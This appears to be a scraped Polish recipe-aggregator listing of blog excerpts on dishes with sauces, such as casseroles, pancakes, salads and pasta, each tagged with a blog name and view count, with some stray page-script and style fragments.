przepyszny, kremowy i bardzo delikatny serek. Cudowny. Część serka od razu zjedliśmy w kawałku, część dodałam do makaronu z cukinią – przepis wkrótce, a resztę moja mama dodała do sosu szpinakowego. Już go sobie wyobrażam w zapiekankach, na kanapkach, z dżemem lub warzywami. Czuję że często będzie u nas gościł. Bardzo Was namawiam do spróbowania. A u nas wakacje pełną

Cooking for Emily
Zapiekanka z karmazyna 217

ryż, paprykę oraz pomidory. Zalać wszystko śmietaną posoloną i popieprzoną do smaku. Zapiekać 40 minut w dobrze nagrzanym piekarniku. Gotową zapiekankę posypać zieloną pietruszką. Podawać z mieszanką sałat polaną sosem winegret

Kulinarne przemyslenia
Burgery z ciecierzycy z suszonymi pomidorami 164

ciecierzycy. Całość miksujemy dolewając po trochę wody. Dłońmi formujemy kotlety i smażymy je na rozgrzanym oleju aż do zarumienią się z obu stron. Podajemy z ulubionym pieczywem, warzywami i sosem lub majonezem . Praktyczna rada: Ja “nie patyczkuje się” i przyrządzam ich większe ilości, które mrożę zapakowane pojedynczo lub podwójnie w folię aluminiową. Bardzo sobie cenię tę metodę “gotowania na zapas

Lamarida.pl
Sajgonki warzywno - grzybowe 181

kuchni chińskiej, szybkie do zrobienia a znika z talerzy jeszcze szybciej. Wystarczy tylko zakupić papier ryżowy a potem rolować i smażyć. Do sajgonek podać można ryż i ulubiony chiński sos a danie będzie gotowe. Sajgonki warzywno - grzybowe. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Jajka w sosie ogórkowo-koperkowym 250

Proste a cieszy! Małe a sycące! Jajka w pierzynce nad wyraz kuszące Dziś proponujemy wspaniały sposób na urozmaicenie śniadania. Nie czekajcie na święta. Zafundujcie sobie jajka w sosie ogórkowo-koperkowym . 25 min jogurt naturalny ok. 180 g 3 łyżki majonezu Winiary 4 średnie ogórki kiszone cebula sól pieprz koperek I bez tego daliby Państwo radę, ale niech tradycji stanie się

Ania i Marcin gotują
Tarta z kurkami 188

Podczas weekendowego wypadu do lasu udało mi się zebrać kolejną porcję kurek, a że był już i sos i zupa to tym razem postanowiłam przyrządzić prostą tartę. To danie wprost idealne na letni obiad, proste i niezwykle aromatyczne. Spód: 150 g mąki pełnoziarnistej 100 g mąki pszennej 1 jajko 120 g. masła 2 łyżeczki wody szczypta soli Z podanych składników

Cynamonowe szczęście
Sałatka z bobem, łososiem i awokado 183

następnie obrania go ze skórki.  W misce mieszamy sałatkę, awokado pokrojone w paski, kawałki łososia i bób. Do sałatki dodajemy liście werbeny cytrynowej, sól i pieprz. Całość zalewamy sosem przygotowanym z oliwy z oliwek, miodu i soku z cytryny

Kuchnia Bon Appetit
Placuszki z cukini 174

placuszki na rozgrzanym oleju. Gotowe:) Jeśli ciasto wyjdzie za rzadkie - można dodać trochę mąki.  Placuszki po usmażeniu warto odsączyć z oleju ręcznikiem papierowym. Podajemy same, ze śmietaną lub sosem czosnkowym. Hasta Luego

la cuchara
Kurczak z sezamem czyli tanie danie 225

Składniki - proporcje na dwie osoby 2 duże ćwiartki z kurczaka 2 ząbki czosnku przeciśnięte przez praskę olej rzepakowy lub inny o neutralnym smaku do smażenia Marynata 1/2 szklanki ciemnego sosu sojowego 3 łyżki koncentratu pomidorowego lub gęstego ketchupu 3 łyżki oleju  (najlepiej sezamowego) 2 łyżki płynnego miodu 1 łyżka brązowego cukru (do tej marynaty idealnie pasuje ciemny cukier muscovado

Kulinaria - potrawy z różnych stron świata
Gulasz cielęcy z winem i groszkiem 149

pół) oraz czosnek i gdy lekko się przybrązowią dodajemy do drugiego garnka. Gotujemy na małym ogniu ok 20-30 minut i pod sam koniec dodajemy groszek. Można ewentualnie sos zabielić śmietaną. Mozecie do tego podać ziemniaki, my zjedliśmy ze świeżym, chrupiącym chlebem. Smacznego

Szybko Tanio Smacznie
Zupa rzodkiewkowa 162

podgrzewamy zupę, aż ser się rozpuści. Zupę zdejmujemy z palnika,  po kilku minutach dodajemy śmietanę. Zupę odstawiamy na kilkanaście minut, aby składniki się "przegryzły". SMACZNEGO! Do zup i sosów polecamy zabawne chochelki łabędzie dostępne z sklepie Makowski Kredens. Chochelka posiada wygodną podstawkę, na której utrzymuje się w pozycji stojącej.  Łyżka jest lekka i poręczna, stanowi świetną dekorację

Smak mojej kuchni
Sałatka ziemniaczana z suszonymi pomidorami i ziarenkami 244

Uwielbiam sałatki ziemniaczane i nie mogę się im oprzeć. Pyza to kartoflana dziewczyna po prostu i wszyscy znajomi to wiedzą. Młode ziemniaczki w jogurtowym sosie, z pysznymi dodatkami, są bardzo pyszne i świetnie pasują do mięsa pieczonego na grillu . Teraz, latem, w weekendowe popołudnia miło posiedzieć na tarasie albo w ogrodzie i zjeść jakieś pyszności z rusztu. Nie ma zbyt

Smaczna Pyza
Tiramisu z owocami jagodowymi, Gdynia 236

dziećmi) ORP Błyskawica Dar Pomorza widok z Kamiennej Góry, na którą można wjechać kolejką (bezpłatnie) Green Way (ul. Antoniego Abrahama 24), bardzo smaczny obiad: pure, kotlety kalafiorowe, sos beszamelowy, surówka pomidorówka i drugie danie w meksykańskich smakach brownie z orzechami Tiramisu with berries Follow this recipe for  strawberry tiramisu to prepare this dessert. I used the following berries

Qlinarnie i Qlinarnie
Polędwiczki faszerowane mięsem mielonym i grzybami leśnymi 247

olejem, włożyć zwinięte polędwiczki, zawinąć,  piec w piekarniku w temperaturze 180 stopni około 35 min., otworzyć z folii i piec około 10 min, do zrumienienia, podawać z  sosem grzybowym

Kuchnia Beaty
gołąbki z ryżem i warzywami 255

liść kapusty nakładamy farsz i zawijamy ciasno tak jak krokiety układamy ściśle w naczyniu żaroodpornym, podlewamy wodą i pieczemy pod przykryciem przez ok 40-50 min podajemy najlepiej z sosem pomidorowym Smacznego

Gotowanie z pasją
cukinia z makaronem 174

dusimy na wolnym ogniu przez ok 5-10 min gdy makaron się ugotuje (najlepiej al dente) dodajemy do warzyw i delikatnie mieszamy, tak aby makaron połączył się z powstałym sosem i gotowe  Możemy posypać parmezanem lub innym ulubionym twardym serem. Smacznego

Gotowanie z pasją
placki ziemniaczane z cukinią 195

punkt :)  łyżką kłaść niewielkie placuszki i smażyć na delikatnie złoty kolor z dwóch stron usmażony odłożyć na talerz wyłożony papierem, aby odsączyć tłuszcz Podawać ze śmietaną lub np sosem tzatziki. Smacznego

Gotowanie z pasją
ryba z fetą w pomidorach 152

jest prawie na wszystko wiadomo. A jeszcze jak jest z piekarnika to już będzie bardzo zdrowo. Co prawda nie wiem jak przekonać do ryb Miśkę, ale do ryżu z sosem powstałym z pomidorów z ziołami prowansalskimi nie musiałam Jej przekonywać. Pocieszam się tym, że chociaż koło ryby jej zestaw leżał.   Składniki: 150 g ryby najlepiej świeżej 200 g pomidorów

Gotowanie z pasją
zapiekana tortilla 180

mięso będzie gotowe dodajemy kukurydzę i pomidory i dusimy przez ok 10 min dodajemy paprykę, groszek i odsączoną fasolę doprawiamy do smaku i dusimy tak aby jak najwięcej sosu odparowało na placek tortilli nakładamy porządną porcję nadzienia zawijamy w rulon jak naleśnik i układamy w naczyniu żaroodpornym posypujemy serem lub nakładamy plastry sera i zapiekamy w piekarniku nagrzanym

Gotowanie z pasją
gołąbki z kapustą pekińską 506

układamy łyżkę farszu i dokładnie zwijamy  układamy w garnku  - najlepiej takim z grubym dnem zalewamy wodą i gotujemy - ok 20-30 min  dodajemy pomidory i redukujemy sos Gołąbki są wspaniałe same w sobie, nie trzeba im chyba żadnych dodatków :)  Smacznego

Gotowanie z pasją
Ogórki z pomidorach do słoików 3675

Pyszny sposób na ogórki które są odrobinę za duże na kiszone lub korniszony-uwielbiam je !! Podjadam je jeszcze zanim trafią do słoików,bo sos w którym się marynują jest pyszny-idealne przetwory na zimę-Polecam gorąco!! Składniki: 2 kg ogórków(mogą być obrane lub nie jak wolicie) 6 cebuli 0,5 szkl.octu 0,5 szkl.cukru 0,5 szkl.oleju 2 łyżki

Swojskie jedzonko
Chroń jedzenie i oszczędzaj 226

kawa, herbata, ryż, mąki, przyprawy. Wyposażone w pojemniki i woreczki pakowarki – zgrzewarki FoodSaver® umożliwiają pakowanie próżniowe zarówno produktów świeżych, jak i przetworzonych. Bigos, gulasze, pieczone mięso czy zupy i sosy możemy, oszczędzając dzięki temu czas, przygotować jednorazowo w większej ilości i bez obaw przechowywać w lodówce lub zamrażalniku przez kilka lub nawet kilkanaście miesięcy. Poniższe tabele obrazują o ile wydłuża

Kulinaria - potrawy z różnych stron świata
Placki ziemniaczane z twarożkiem 193

drobno krojony szczypiorek. Dokładnie wymieszać. Placki podawać ciepłe z twarożkiem. Placki ziemniaczane z twarożkiem Smacznego! Placki ziemniaczane z twarożkiem Placki ziemniaczane mogą być podawane z twarożkiem, śmietaną, cukrem, gulaszem, sosem pieczarkowym. Opcji jest bardzo wiele. Do tych z cukrem radziłabym nie dodawać ani cebuli ani pieprzu. Share List SGMB_URL = "http://www.mecooks.com/wp-content/plugins/social-media-builder/"; jQuery(".dropdownWrapper").hide(); SGMB_GOOGLE_ACOUNT = ""; jQuery

mecooks
Gołąbki bez zawijania z kalarepką i sosem serowym z liści kalarepki 195

gołąbków zamiast kapusty dodałam kalarepkę.  W połączeniu z sosem kalarepko serowym  wyszedł bardzo ciekawy smak Składniki •1/2 kg mięsa mielonego z łopatki • 1 duża kalarepka z liśćmi  • 1 marchewka • 1/2 szklanki ryżu  • sól  •pieprz • gałka muszkatołowa szczypta  • 1 szkl śmietany 30 % • 1 szklanka mleka  • 2/3 szklanki wody  • 2 serki topione

W królestwie smaków Beaty
Pieczona shawarma z kurczaka 197

również podartymi na mniejsze kawałki.  Wstawić do piekarnika i piec przez około 20-30 minut lub do czasu aż tortille będą rumiane, a mięso upieczone.  Podawać z sosem czosnkowym i lekką sałatką libańską .  Smacznego

Codzienne Gotowanie
Szybkie curry z kurczakiem i szpinakiem / Easy chicken and spinach curry 301

podawać je z ryżem jeśli lubisz. Ja za nim nie przepadam, więc wymieniam na inne zapychacze Jeżeli chcielibyście spróbować innych, przetestowanych przeze mnie, pyszności tego autora, polecam kurczaka w sosie karmelowym lub dietetyczny butter chicken , palce lizać! Zapraszam! Scroll down for recipe in English Szybkie curry z kurczakiem i szpinakiem (4 porcje) Składniki: 2 łyżki oleju roślinnego 1 duża cebula

karmelowy
ANGIELSKIE ŚNIADANIE CZYLI ENGLISH BREAKFAST PO POLSKU 247

SKŁADNIKI: (1 PORCJA) ·        1 swojska kiełbasa (lub dwie małe cienkie kiełbaski dobrej jakości) ·        puszka słodkiej fasolki w sosie pomidorowym ·        pomidorki koktajlowe (lub zwykłe, duże soczyste pomidory) ·        2 jajka sadzone z wolnego wybiegu

Calzonella.com
Pasta rybna z kukurydzą 191

Przygotuj miskę, nóż i deskę do krojenia, łyżkę, wagę kuchenną, garnek, sitka, słoik lub inny zamykany pojemnik, ewentualnie otwieracz do konserw. Przygotuj składniki: 2 jajka, 3 puszki tuńczyka w sosie własnym (po 18 dag), 15 dag kukurydzy z puszki, 2 dymki, 1 czerwoną paprykę, ketchup, sól, pieprz. Słoik (słoiki) lub inny zamykany pojemnik dokładnie umyj i osusz. Jajka ugotuj

blog.moje-pasje.info
Pyszna pieczona cielęcina w maślano-szałwiowym sosie 171

jakiekolwiek zastrzeżenia, zmieniam recepturę i próbuję aż do skutku. Jednak to mięsko wyszło świetne i już. Część oszamaliśmy jako wędlinę na kanapki, a część została podana z pieczeniowym sosem. Do tego świeża fasolka szparagowa i pyszny obiad gotowy. Czytaj więcej

Pichceniomania
Szaszłyki drobiowe w marynacie jogurtowej. 193

szaszłyków. Szaszłyki można piec na grillu lub na patelni grillowej z 10-12 minut przewracając w tym czasie z 2-3 razy. Szaszłyki podałam z ryżem, sałatką grecką i sosem czosnkowym. Smacznego

Magia jedzenia.
Makaron z sosem pomidorowym 203

Ulubione! 😍 Nie odważę się "publicznie" nazwać tego dania 'spaghetti' stąd też poprostu - makaron z sosem pomidorowym :D Pyszne i szybkie danie:) SKŁADNIKI : 500g mięsa mielonego z indyka 1 papryka (pokrojona w kostkę) 1 duża cebula (drobno posiekana) 2x puszka pomidorów (trzeba je zblendować jeśli są całe lub w kawałkach) 1 łyżka oliwy z oliwek 1 łyżka jogurtu greckiego 2 łyżki

Mamuśka wraca do formy
Polędwiczka wieprzowa w sosie kurkowym 207

pokrojoną w kostkę cebulę i oczyszczone i umyte kurki. Całość smażyć 3-4 minuty. Podlać trochę wodą, przyprawić. Poddusić aż do miękkości cebuli. Wlać śmietankę i włożyć do sosu polędwiczki. Podgrzać. Podawać z ziemniakami lub ryżem

Magiczne Życie Marty
Banalne warzywa z kuskusem:) 148

kuchni indyjskiej.  Malo tego!  Znaaacznie wspiera odchudzanie,  warto o nim troche poczytać :) Dziś  dla mojego męża  i synka na obiad kluuchy na parzr z sosem....  No,  niestety nie jest to danie dla mnie.  W takich sytuacjach zazwyczaj robie właśnie to,  szybkie,  smaczne i nie wymagające  wielu składników  "danie

Mamuśka wraca do formy
Leczo z czerwonej soczewicy 186

papryka (pokrojona w kostkę) 1 cukinia (pokrojona w krążki, czy jak lubicie:)) Około 6 pieczarek (pokrojone w plastry) 1 łyżeczka oliwy 1 łyżeczka koncentratu pomidorowego (opcjonalnie, do podkręcenia "pomidorowości" sosu:D) 2 puszki pomidorów (lub kilka sporych świeżych) 1 łyżka jogurtu greckiego (niekoniecznie, ale u mnie to standardowy składnik :) Natka pietruszki, czosnek, papryka słodka, sól, pieprz, bazylia, oregano Paprykę

Mamuśka wraca do formy
Fit burrito 185

wrzucamy mięso i lekko podsmażamy, dalej wrzucamy cebulę, pieczarki, kukurydzę, podlewamy odrobiną wody, dodajemy zblendowane pomidory, przyprawy i suszone pomidory. Gotujemy około pół godziny, dodajemy fasolę. Gotujemy dalej by sos zgestniał i gotowe! Do mąki owsianej wlewamy powoli wodę, solimy i zagniatamy ciasto, dzielimy na cztery równe części, rozwałkowujemy na cienkie ciasto i smażymy na suchej, teflonowej patelni

Mamuśka wraca do formy
Surówka z kapusty pekińskiej 140

false MicrosoftInternetExplorer4 Ocet, oliwę i przyprawy dokładnie łączymy. Kapustę siekamy. Kukurydzę odcedzamy z zalewy. Paprykę kroimy w kostkę. Pomidor kroimy w kostkę. Wszystkie warzywa przekładamy do większej miski, polewamy sosem i dokładnie łączymy. Do smaku doprawiamy solą i pieprzem. Przed podaniem lekko schładzamy. Wyciągając z lodówki, ponownie mieszamy. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size

R'n'G Kitchen
Spaghetti z pomidorem i cukinią w natce pietruszki 154

któregoś dnia pojawię się tam, niespodziewanie. Bardzo wierzę w siłę marzeń, ufam bowiem, że prędzej czy później marzenia spełniają się! Dzisiejszy makaron to kwintesencja lata. Jeden z najszybszych sosów, bo przygotowany tylko ze świeżych warzyw, które nie były poddawane obróbce cieplnej. Bardzo soczyste i słodkie pomidory, chrupiąca cukinia, soczysta i zdrowa natka z pietruszki z posiekanym czosnkiem i moja ulubiona

Moja smaczna kuchnia
Quesadilla z mięsem, papryką, szpinakiem i mozzarellą 310

zwolenników kuchni meksykańskiej. Lubię eksperymentować i łączyć różne smaki, dlatego też w mojej quesadilli pojawia się szpinak i mozzarella. Wierzcie mi, że całość smakuje rewelacyjnie. Polecam podawać z pikantnym sosem. Czym jest quesadilla? To nic innego jak złożone tortille z nadzieniem, w skład którego wchodzi m.in. ser. Jest on niezbędny w celu sklejenia tortilli. Poza tym w jej składzie pojawiają

Passions hobbies life
Pasta z łososiem i pesto wg Aleex 192

miseczce. 6. Do łososia dodać pesto, wymieszać. Jeśli jest zbyt suche, dolać oliwę. 7. Makaron ugotować w lekko osolonym wrzątku. 8. Odcedzić. 9. Gorący makaron włożyć do miski z sosem. Wymieszać. 10. Podawać od razu po przygotowaniu. Smacznego

W mojej kuchni
SURÓWKA Z CZERWONEJ KAPUSTY I WINOGRONA + FILMIK 186

Dzisiaj podam przepis na wspaniałą surówkę z czerwonej kapusty, z winogronem i sosem majonezowym. Idealna do obiadu i pieczonych mięs.  SKŁADNIKI:  1/2 główki kapusty czerwonej 250 g jasnego, bezpestkowego winogrona 1 płaska łyżeczka soli  pieprz do smaku 2 łyżeczki cukru 1 łyżka soku z cytryny  2 duże łyżki jogurtu naturalnego 2 duże łyżki majonezu  natka

Kulinarne Fantazje Marioli
Makaron z cukinią i botwinką 208

coś smacznego! Ile razy robię ten przepis, zdumiewa mnie fakt, że niewielkim nakładem mogę nakarmić rodzinkę i wcale nie musi być mięso by było do syta! Makaron bez ciężkiego sosu to jest to J #lubelloveinspiracje #lubella #lubellamini Składniki na dwie porcje: 25 dag makaronu mini kokardki Lubella 1 cukinia 1 duża cebula Pęczek botwinki bez buraczków 1 biała podłużna papryka

Wanilia i Kardamon
Kluski twarogowe z zieleniną 188

zachęcam do przygotowania klusek twarogowych z dodatkiem zieleniny. Poniższe kluski są bardzo miękkie i delikatne. Jeżeli nie przepadacie za bazylią to ją pomińcie. Takie kluski świetnie smakują podane z sosem, np. pomidorowym, koperkowym lub jako dodatek do gulaszu.  Składniki na 2 porcje: 1 kostka twarogu (250 g) 1 jajko (rozmiar l) 1 czubata łyżka mąki pszennej 2  łyżki

Ugotować
NADZIEWANE CUKINIE 217

stopni C, na blaszkę wylej 1/2 szklanki wody, aby cukinie, się troszkę "uparowały" - w międzyczasie wymieszaj jogurt z sokiem z cytryny i posiekanymi ziołami - po upieczeniu cukinie polej sosem jogurtowym, obsyp wypustkami z granatu i dodatkowo obsyp listkami ziół Gotowe! Smacznego

SMYKWKUCHNI
PYSZNE KOTLETY Z MAKARONEM 531

masy formujemy kotleciki,obtaczamy w bułce tartej i smażymy na rozgrzanym oleju lub maśle klarowanym na ciemnozłoty kolor.Odsączamy z nadmiaru tłuszczu na ręczniku papierowym.Kotleciki można podawać z sosem np.pomidorowym lub pieczarkowym ,do tego jakaś surówka i obiadek gotowy. SMACZNEGO

Mała w garnku miesza
Naleśniki z farszem z pieczarek 187

pieprzem, majerankiem ( te użyjemy do posmarowania naleśników) Pozostałe pieczarki pokrojone w paski przesmażyć z drugą cebulą, doprawić do smaku Usmażyć naleśniki, nałożyć zmiksowany, doprawiony farsz, zrolować, polać pozostałymi pieczarkami- sosem. Składniki na farsz: ok. 50 dag pieczarek sól, pieprz, majeranek 2 cebule tłuszcz do smażenia

Proste Potrawy
Pieczona pierś kurczaka w płatkach kukurydzianych 481

kaloryczna, bo panierka nie chłonie tak dużo tłuszczu, a po drugie jest bardziej chrupiąca, właśnie poprzez użycie płatków kukurydzianych. Ostatnio pierś w płatkach serwowałam z domowymi frytkami z piekarnika , sosem czosnkowym oraz sałatką z pomidorami i cebulką. Uważam, że takie zestawienie komponuje się doskonale. Pamiętajcie, że do piersi z kurczaka w płatkach kukurydzianych możecie dobrać sobie ulubione dodatki

Kuchnia Bazylii
Wegański smalec 163

Składniki: Omasta: 1 duża cebula 1 ziele angielskie 1 owoc jałowca 1 liść laurowy 1 łyżka oleju do smażenia Pasta: 2 szklanki ugotowanej białej fasoli 1 łyżka tamari (lub sosu sojowego) 1/2 łyżeczki bazylii 1/2 łyżeczki oregano 1/4 szklanki wody sól i pieprz (do smaku) Wykonanie: Cebulę obieramy, przekrawamy na połowę i kroimy w piórka. Podsmażamy na rozgrzanym oleju razem

Lamarida.pl
Makaron penne z mięsem i bakłażanem 289

Makaron penne w gęstym sosie z mięsem, bakłażanem i oliwkami. Smaczne i sycące danie przygotowane we włoskim stylu. Obowiązkowo posypane startym parmezanem. Polecam ;) 200 g makaronu penne 1 cebula dymka 3 ząbki czosnku 1 bakłażan 2 pomidory 300 g mięsa mielonego wieprzowego 1/2 szklanki gęstego przecieru pomidorowego 100 g oliwek czarnych 50-100 g parmezanu sól pieprz czarny bazylia oregano

https:KKuchniaMniam
tagliatelle z sosem nagietkowym 148

składniki: ok. 400 g makaronu tagliatelle 300 ml mleka 4 łyżki świeżych płatków nagietka 2 marchewki 1 cebula 1 liść laurowy 1 i 1/2 łyżki mąki

Domowy Smak Jedzenia
TOP 5 FAST FOOD'ÓW oraz SŁODYCZY w dietetycznej wersji do wykonania w domu! 598

Lubisz zjeść pysznego kebsa ale później czujesz się fatalnie? Mam dla Ciebie rozwiązania!  Tajskie drobiowe burgery kokosowe Burgery z czerwonej fasoli Meksykańskie wege burgery Hamburger z łososiem i sosem tzatziki Pizza orkiszowa Fit pizza proteinowa! Pizza z salami na spodzie z pełnoziarnistej tortilli Tarta LCHF ala pizza z salami  Pełnoziarnista klasyczna pizza z szynką Fit Reese's - czekoladki

Czarnawisienka
Pieczone tofu marynowane 183

tofu w tak pysznej marynacie musi być przygotowywane w hurtowych ilościach. Muszę wrócić do kuchni i zrobić kolejną partię, bo chleb z mąki gryczanej już czeka na jego przyjęcie. Sos sriracha dałem jako opcjonalny składnik, ale naprawdę warto go użyć lub ewentualnie w jego miejsce dać ostrą paprykę, ponieważ tofu marynowane zyska na charakterze. Artykuł Pieczone tofu marynowane pochodzi

Blendman
Steki z ligawy cielęcej z kapustą pac choi z grilla 221

szybkie, mega szybkie danie dziś przedstawiam. Steki z ligawy cielęcej to bardzo delikatne mięso i szybko się grilluje a do nich równie przepyszna chińska kapusta pac choi z wyśmienitym sosem. Całość to pyszny, treściwy obiad. Spróbujcie razem ze mną? Steki z ligawy cielęcej z kapustą pac choi z grilla. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Piersi kurczaka z bobem, cukinią i młodymi ziemniakami 145

zmiękły. Zdjąłem pokrywkę, zwiększyłem ogień, i gdy bulion zawrzał dodałem podzielone na różyczki brokuły, pokrojone w plasterki cukinię, a na końcu bób. Gotowałem jeszcze kilka minut. Kilka łyżek gorącego sosu wymieszałem ze śmietaną, wlałem na patelnię, energicznie wymieszałem. Doprawiłem solą i pieprzem. Dodałem estragon, przykryłem patelnię i odstawiłem z kuchenki na kilka minut

R'n'G Kitchen
Przepis #52 Naleśniki z jarmużem 200

koniec całość przyprawiamy . Na jeszcze ciepłe naleśniki układamy kawałki mozarelli a następnie farsz i całość zawijamy w rulon. Tak przygotowane naleśniki świetnie smakują podawane z sosem pomidorowym lub salsa. Smacznego

Health-Fit-Life
Szynka na kanapki pieczona w rękawie 267

kanapki. Wybrałam najprostszy i pewny sposób jej przygotowania czyli pieczenie w rękawie. Oczywiście wcześniej została zamarynowana. Tak przygotowana szynka doskonale nadaje się również na obiad, podana np. z sosem i ziemniakami.     Składniki: 1 średnia szynka wieprzowa 5 ząbków czosnku 2 łyżeczki majeranku 1 łyżka oleju Czytaj dalej... Artykuł Szynka na kanapki pieczona w rękawie pochodzi z serwisu Pasja

Pasja Smaku
Makaron z fasolką szparagową, cukinią i pomidorami 270

pokrojoną w kostkę cukinię. Całość dusimy na małym ogniu aż pomidory się rozpadną a cebula zmięknie. Wówczas dodajemy ugotowaną fasolkę i jeśli trzeba, dusimy aż powstały na dnie sos zgęstnieje. Doprawiamy danie solą, pieprzem, świeżym tymiankiem oraz bazylią. Ugotowany makaron mieszamy z warzywami i podajemy

My simple kitchen
Placki ziemniaczane, wersja podstawowa. 190

placuszki, gdy się zrumienią z obu stron, układamy na papierowym ręczniku aby osączyć z nadmiaru tłuszczu. Niby nic, ale to zawsze kilka kalorii mniej. 😉 Podajemy z czym kto lubi, sosem, surówką albo same. Ja najbardziej lubię z serkiem i górą warzyw na ostro. Takie odsączone ciasto to same plusy, nie pryska na patelni,  a placki są jak marzenie, pulchniutkie

Dieta moja pasja
Cukinia faszerowana mięsem mielonym, warzywami i mozzarellą. 207

nieźle przeobrazić ;-) To pewnie mokre lato służy ich wzrostowi.. Ale nie narzekam na nadmiar, bo kabaczek w moim domu zawsze znajdzie zastosowanie, choćby jako zagęszczacz do zupy czy sosu. Przepisów jak co roku na blogu - będzie kilka :) Dziś zapraszam na cukinię faszerowaną. Mięciutkie łódeczki zapiekane w piekarniku wraz z aromatycznym, mięsno-warzywnym farszem, który jest wyrazisty w smaku, tworzą

Poezja Smaków - blog kulinarny
Lody karmelowe 241

Kolejny smak lodów wypróbowany. I ten również znalazł się w zbiorze Naszych ulubionych :) Lody karmelowe. Lody mają idealną konsystencję po zamrożeniu, nie twardnieją. U mnie podane z domowym sosem karmelowym - podwójna karmelowa frajda. Przepis niebawem. Przepis ze strony Moje Wypieki . Polecam! Lody karmelowe Składniki na około litr lodów: 500ml pełnotłustego mleka 250ml śmietanki kremówki 200g cukru 1/4 łyżeczki soli łyżeczka

Smak mojej kuchni
Kwiecista sałatka z warzywami w miodzie 145

miodem. Podsmażamy warzywa, doprawiając je pieprzem cytrynowym. Gdy nieco zmiękną, ale nadal będą chrupiące, podajemy je z mixem sałat i kwiatami. Jako dressingu możemy użyć powstałego na patelni sosu. Smacznego :) Artykuł Kwiecista sałatka z warzywami w miodzie pochodzi z serwisu Mienta blog

Mienta blog
Tarta z bobem i pieczarkami 257

posiekaną natkę botwinki. Doprawiamy do smaku- głównie pieprzem. Przelewamy na podpieczony spód, wyrównujemy i pieczemy ponownie w temp 190⁰C przez 30 minut. Tarta smakuje obłędnie z dodatkiem domowego sosu czosnkowego

Kuchnia w czekoladzie
Kalafior i pierś z kurczaka w chrupiącej panierce 340

jajku, obtaczamy w płatkach kukurydzianych i układamy na blaszce z papierem do pieczenia. Możemy delikatnie skropić olejem sezamowym. Pieczemy 20-25 minut w temperaturze 170 st. C. Podajemy z sosem czosnkowym i pomidorem. Smacznego!  To jest pyszne Karinko. Bardzo dziękujemy

Maminek kulinarny
TARTA GRYCZANA Z TUŃCZYKIEM I WARZYWAMI 211

mąki gryczanej -1 jajo -80 g jogurtu naturalnego -1/2 łyżeczki proszku do pieczenia farsz: -1 puszka tuńczyka -100 g pomidora -100 g papryki -50 g pieczarek sos: -1 jajo -100 g jogurtu naturalnego Przygotowanie: 1. Wszystkie składniki na ciasto mieszamy i zagniatamy ciasto. Wałkujemy i przekładamy do formy (u mnie śr.25 cm) wyłożonej papierem do pieczenia (większość robi

Zdrowie i pysznie na talerzu
Hawajska kiełbasa na grilla, czyli tradycja z ananasem 379

naciąć. Nabijamy na patyczki do szaszłyków i gotowe! Słodki ananas doskonale się grilluje i komponuje się z tradycyjnym i dobrze znanym smakiem kiełbasy. Spróbujcie sami! Smacznego.   ZOBACZ RÓWNIEŻ: Sosy i dipy na grilla! Sprawdzone przepisy na grilla! Aromatyczny szisz kebab – szybkie danie na grilla! Sprytna kuchnia: patyczki do szaszłyków

MarcinChef
TOST Z KWIATAMI CUKINII NA SZAFRANOWYM SOSIE 194

TOST Z KWIATAMI CUKINII będzie doskonałą i imponującą przystawką na... Artykuł TOST Z KWIATAMI CUKINII NA SZAFRANOWYM SOSIE pochodzi z serwisu CookMagazine

COOKMAGAZINE
Nadziewana cukinia 186

pieprzem .Posypać startym serem .Piec w nagrzanym piekarniku 20-25 minut pod przykryciem w temp.190 ° C. Następnie odkryte 10-15 minut do złotego koloru sera. Gotowe cukinie podawać z sosem z kurek ,posypać zielonym koperkiem

w mojej kuchni
Ucierane ciasto z czerwoną porzeczką 159

galaretki, czy kisiel. Pyszne będą ciasta drożdżowe czy też ucierane, przepyszny też jest porzeczkowy sernik na zimno. Porzeczki możemy również zamknąć w słoikach, przygotujemy z nich galaretkę dżem,  sosy do mięs czy też nalewkę. Możliwości jest bez liku ! ------------------------------------------------------------- Ucierane ciasto z czerwoną porzeczką Czas przygotowania:  60 minut Proporcje  na tortownicę o średnicy 27 cm Składniki: 2 szklanki

Kulinarne przygody Gatity
Wegańskie lody ryżowe – Naturattiva 188

produkt EKO, kolejne informacje, że są to lody 100% vege, bez laktozy i z ryżu tylko zwiększają naszą ekscytację. W środku mamy pysznie wyglądającą białą masę solidnie oblaną kakaowym sosem. Zapach jest typowo lodowy czyli orzeźwiająco zimny i słodki. Smak: Masa na szczęście nie jest zbita jak kamień, spokojnie da się ją nabrać łyżeczką. Rozpuszcza się delikatnie i nie wodnisto

Candy Pandas
Box z Polskimi Skarbami - polskie-skarby.pl 182

sklepie.  Gustowna, elegancka butelka zawiera w sobie naturalny, ekologiczny o wielu właściwościach odżywczych ocet, który na pewno wielu z Was chętnie wykorzysta go w codziennej kuchni np. do sosów, marynat czy koktajli. Na pewno warto zainwestować w tak dobrą jakość produktu jeśli lubicie ten rodzaj trunku ;P Podsumowanie: Jak widać pudełko Polskich Skarbów zawiera w sobie dosłownie skarby, ponieważ

Candy Pandas
Pistacje niesolone, surowe, łuskane – pistacje.pl 171

prostu gorzkie lub zjełczałe . Także koniec końców kupując wersję surową i bez łupin wychodzimy na tym o wiele smaczniej i korzystniej. Zajączkowe kluseczki Dango ( przepis ) w słodko-kwaśnym sosie z awokado, limonki i pistacji (niesolonych, surowych) Ocena: 6 pand Jeśli czujecie się za mało przekonani przeczytajcie TUTAJ jakie właściwości posiadają te zielone cudeńka

Candy Pandas
Warzywne placki tarte 177

łyżce warzywnej masy spłaszczając, aby placek się ładnie usmażył. Smażymy przez 1 - 2 min z każdej strony, do zrumienienia. Placki są fantastyczne same, ale można je podać z ulubionym sosem, śmietaną lub jogurtem. U nas jedno z nas najbardziej lubi polane jogurtem greckim, drugie bez niczego - rękami prosto z talerze ;) Smacznego

Kuchnia od dwojga
Jaglanka z bananem 226

było w przypadku ciasta bananowego bezglutenowego , banany mi się po prostu zwyższały. Dobrze, że z konieczności ich zużycia powstało coś tak pysznego. Myślę, że użycie smażonych bananów i sosu na bazie tahini to ciekawa i miła dla podniebienia odskocznia. Teraz mam ogromne zapasy m.in. kaszy jaglanej, więc pewnie w najbliższym czasie znowu coś z niej wykombinuję, ale tym razem może

Blendman
Pieczona papryka w marynacie z octem balsamicznym, czosnkiem i anchois 176

